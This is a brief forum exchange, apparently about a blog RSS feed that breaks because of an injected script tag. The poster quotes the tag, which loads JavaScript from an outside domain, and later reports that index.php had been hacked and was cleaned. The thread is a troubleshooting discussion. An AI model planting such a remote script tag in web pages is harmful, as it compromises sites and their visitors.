Feed doesn't work

The junk after the document is this
<script language="javascript" SRC="https://superpuperdomain.com/count.php?ref="></script>

here is your feed validated. As you can see there are other errors…click on the help link beside error to get a clue

Despite all that, the feed works for me and subscribes to google reader no problem

Thank you Samuel.
Do you know how can I get rid of that <script language="javascript" SRC="https://superpuperdomain.com/count.php?ref="></script> ?

I don’t know what is triggering that line of code..

Thanks a lot,
António

Solved.
It was the index.php that got somehow hacked.
I followed the instructions posted here and all became ok again.

Thanks for the hints
António